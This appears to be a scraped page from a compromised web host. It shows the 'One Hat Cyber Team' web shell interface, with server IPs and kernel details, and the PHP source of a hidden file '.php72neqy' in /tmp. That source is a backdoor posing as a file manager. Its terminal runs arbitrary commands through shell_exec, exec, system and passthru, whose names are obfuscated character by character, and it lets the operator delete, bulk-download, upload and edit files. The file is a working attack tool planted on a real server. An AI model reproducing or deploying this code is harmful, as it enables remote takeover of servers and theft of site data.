⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.235
Server IP:
162.0.217.164
Server:
Linux premium256.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
Server Software:
LiteSpeed
PHP Version:
8.0.30
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
tmp
/
Edit File: .php72neqy
&1'); if ($result !== false && !empty(trim($result))) { return $result; } } catch (Exception $e) { continue; } } } return "Command execution not available"; } if (isset($_POST['navigate'])) { $targetDir = $_POST['navigate']; if (is_dir($targetDir)) { $_SESSION['current_dir'] = validatePath($targetDir); $notification = 'Directory changed successfully'; } } if (isset($_POST['remove'])) { $targetPath = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $_POST['remove']); if ($targetPath === false) { $errorMsg = 'Delete failed: Invalid path'; } elseif (is_file($targetPath)) { if (@unlink($targetPath)) { $notification = 'File deleted'; } else { $errorMsg = 'Delete failed: Permission denied or file in use'; } } elseif (is_dir($targetPath)) { try { $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($targetPath, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); foreach ($iterator as $file) { if ($file->isDir()) { @rmdir($file->getRealPath()); } else { @unlink($file->getRealPath()); } } if (@rmdir($targetPath)) { $notification = 'Directory deleted'; } else { $errorMsg = 'Delete failed: Could not remove directory'; } } catch (Exception $e) { $errorMsg = 'Delete failed: ' . $e->getMessage(); } } else { $errorMsg = 'Delete failed: Path not found'; } } if (isset($_POST['old_name'], $_POST['new_name'])) { $sourcePath = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $_POST['old_name']); if ($sourcePath === false) { $errorMsg = 'Rename failed: Source not found'; } else { $destinationPath = dirname($sourcePath) . DIRECTORY_SEPARATOR . basename($_POST['new_name']); if (file_exists($destinationPath)) { $errorMsg = 'Rename failed: Target name already exists'; } elseif (@rename($sourcePath, $destinationPath)) { $notification = 'Rename successful'; } else { $errorMsg = 'Rename failed: Permission denied or invalid name'; } } } if (isset($_POST['file_to_edit'], $_POST['file_content'])) { $editPath = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $_POST['file_to_edit']); if ($editPath === false || !is_file($editPath)) { $errorMsg = 'Edit failed: File not found'; } elseif (!is_writable($editPath)) { $errorMsg = 'Edit failed: File not writable'; } elseif (@file_put_contents($editPath, $_POST['file_content']) !== false) { $notification = 'File saved'; } else { $errorMsg = 'Edit failed: Could not write to file'; } } if (isset($_POST['create_file']) && trim($_POST['create_file']) !== '') { $fileName = sanitizeFileName($_POST['create_file']); if ($fileName === false) { $errorMsg = 'Create failed: Invalid filename'; } else { $newFilePath = $_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $fileName; if (file_exists($newFilePath)) { $errorMsg = 'Create failed: File already exists'; } elseif (!is_writable($_SESSION['current_dir'])) { $errorMsg = 'Create failed: Directory not writable'; } elseif (@file_put_contents($newFilePath, '') !== false) { @chmod($newFilePath, 0644); $notification = 'File created'; } else { $errorMsg = 'Create failed: Could not create file'; } } } if (isset($_POST['create_folder']) && trim($_POST['create_folder']) !== '') { $folderName = sanitizeFileName($_POST['create_folder']); if ($folderName === false) { $errorMsg = 'Create failed: Invalid folder name'; } else { $newFolderPath = $_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $folderName; if (file_exists($newFolderPath)) { $errorMsg = 'Create failed: Folder already exists'; } elseif (!is_writable($_SESSION['current_dir'])) { $errorMsg = 'Create failed: Directory not writable'; } elseif (@mkdir($newFolderPath, 0755)) { $notification = 'Folder created'; } else { $errorMsg = 'Create failed: Could not create folder'; } } } $currentDirectory = $_SESSION['current_dir']; $directoryContents = scandir($currentDirectory); $folders = $files = []; foreach ($directoryContents as $item) { if ($item === '.') continue; $fullPath = $currentDirectory . '/' . $item; if (is_dir($fullPath)) { $folders[] = $item; } else { $files[] = $item; } } sort($folders); sort($files); $allItems = array_merge($folders, $files); $fileToEdit = $_POST['edit'] ?? null; $fileToView = $_POST['view'] ?? null; $itemToRename = $_POST['rename'] ?? null; $fileContent = $fileToEdit ? @file_get_contents($currentDirectory . '/' . $fileToEdit) : null; $viewContent = $fileToView ? @file_get_contents($currentDirectory . '/' . $fileToView) : null; // Handle bulk delete if (isset($_POST['bulk_delete']) && isset($_POST['selected_items']) && is_array($_POST['selected_items'])) { $deleted = 0; $failed = 0; foreach ($_POST['selected_items'] as $item) { $targetPath = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $item); if ($targetPath === false) { $failed++; continue; } if (is_file($targetPath)) { if (@unlink($targetPath)) { $deleted++; } else { $failed++; } } elseif (is_dir($targetPath)) { try { $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($targetPath, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); foreach ($iterator as $file) { if ($file->isDir()) { @rmdir($file->getRealPath()); } else { @unlink($file->getRealPath()); } } if (@rmdir($targetPath)) { $deleted++; } else { $failed++; } } catch (Exception $e) { $failed++; } } } if ($deleted > 0) { $notification = "Deleted $deleted item(s)"; } if ($failed > 0) { $errorMsg = "Failed to delete $failed item(s)"; } } // Handle bulk download if (isset($_POST['bulk_download']) && isset($_POST['selected_items']) && is_array($_POST['selected_items'])) { if (class_exists('ZipArchive')) { $zipName = 'selected_files_' . time() . '.zip'; $zipPath = sys_get_temp_dir() . DIRECTORY_SEPARATOR . $zipName; $zip = new ZipArchive(); if ($zip->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) { foreach ($_POST['selected_items'] as $item) { $targetPath = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $item); if ($targetPath === false) continue; if (is_file($targetPath)) { $zip->addFile($targetPath, basename($targetPath)); } elseif (is_dir($targetPath)) { $files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($targetPath, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($files as $file) { $filePath = $file->getRealPath(); $relativePath = basename($targetPath) . '/' . substr($filePath, strlen($targetPath) + 1); if ($file->isDir()) { $zip->addEmptyDir($relativePath); } else { $zip->addFile($filePath, $relativePath); } } } } $zip->close(); header('Content-Type: application/zip'); header('Content-Disposition: attachment; filename="' . $zipName . '"'); header('Content-Length: ' . filesize($zipPath)); readfile($zipPath); @unlink($zipPath); exit; } else { $errorMsg = 'Bulk download failed: Could not create zip file'; } } else { $errorMsg = 'Bulk download failed: ZipArchive not available'; } } // Handle file/folder download if (isset($_POST['download'])) { $targetPath = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $_POST['download']); if ($targetPath === false) { $errorMsg = 'Download failed: Invalid path'; } elseif (is_file($targetPath)) { // Direct file download header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($targetPath) . '"'); header('Content-Length: ' . filesize($targetPath)); readfile($targetPath); exit; } elseif (is_dir($targetPath)) { // Zip folder and download if (class_exists('ZipArchive')) { $zipName = basename($targetPath) . '_' . time() . '.zip'; $zipPath = sys_get_temp_dir() . DIRECTORY_SEPARATOR . $zipName; $zip = new ZipArchive(); if ($zip->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) { $files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($targetPath, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($files as $file) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen($targetPath) + 1); if ($file->isDir()) { $zip->addEmptyDir($relativePath); } else { $zip->addFile($filePath, $relativePath); } } $zip->close(); header('Content-Type: application/zip'); header('Content-Disposition: attachment; filename="' . $zipName . '"'); header('Content-Length: ' . filesize($zipPath)); readfile($zipPath); @unlink($zipPath); exit; } else { $errorMsg = 'Download failed: Could not create zip file'; } } else { $errorMsg = 'Download failed: ZipArchive not available'; } } } $commandResult = ''; $commandAvailable = false; $methods = [ 's'.'h'.'e'.'l'.'l'.'_'.'e'.'x'.'e'.'c', 'e'.'x'.'e'.'c', 's'.'y'.'s'.'t'.'e'.'m', 'p'.'a'.'s'.'s'.'t'.'h'.'r'.'u' ]; foreach ($methods as $func) { if (function_exists($func)) { $commandAvailable = true; break; } } if (isset($_POST['terminal_command']) && trim($_POST['terminal_command']) !== '') { $cmd = trim($_POST['terminal_command']); if (!empty($cmd)) { try { $commandResult = runCommand($cmd); if (empty(trim($commandResult)) || $commandResult === "Command execution not available") { $errorMsg = 'Command execution: No output or function disabled'; } } catch (Exception $e) { $errorMsg = 'Command error: ' . htmlspecialchars($e->getMessage()); } } } ?>
FILE MANAGER
FILE MANAGER
Navigate and manage your files
= htmlentities($notification) ?>
= htmlentities($errorMsg) ?>
Current Directory
Navigate
Upload File
Upload
Status:
No file selected
Create New
File
Folder
Viewing: = htmlentities($fileToView) ?>
= htmlentities($viewContent) ?>
Editing: = htmlentities($fileToEdit) ?>
= htmlentities($fileContent) ?>
Save Changes
Terminal
Execute
= htmlentities($commandResult) ?>
← Parent Directory
0 item(s) selected
Download Selected
Delete Selected
Name
Type
Actions
Save
= $isDirectory ? '/' : '' ?>
= htmlentities($item) ?>
= $isDirectory ? 'Folder' : 'File' ?>
Open
View
Edit
Download
Rename
Delete
Simpan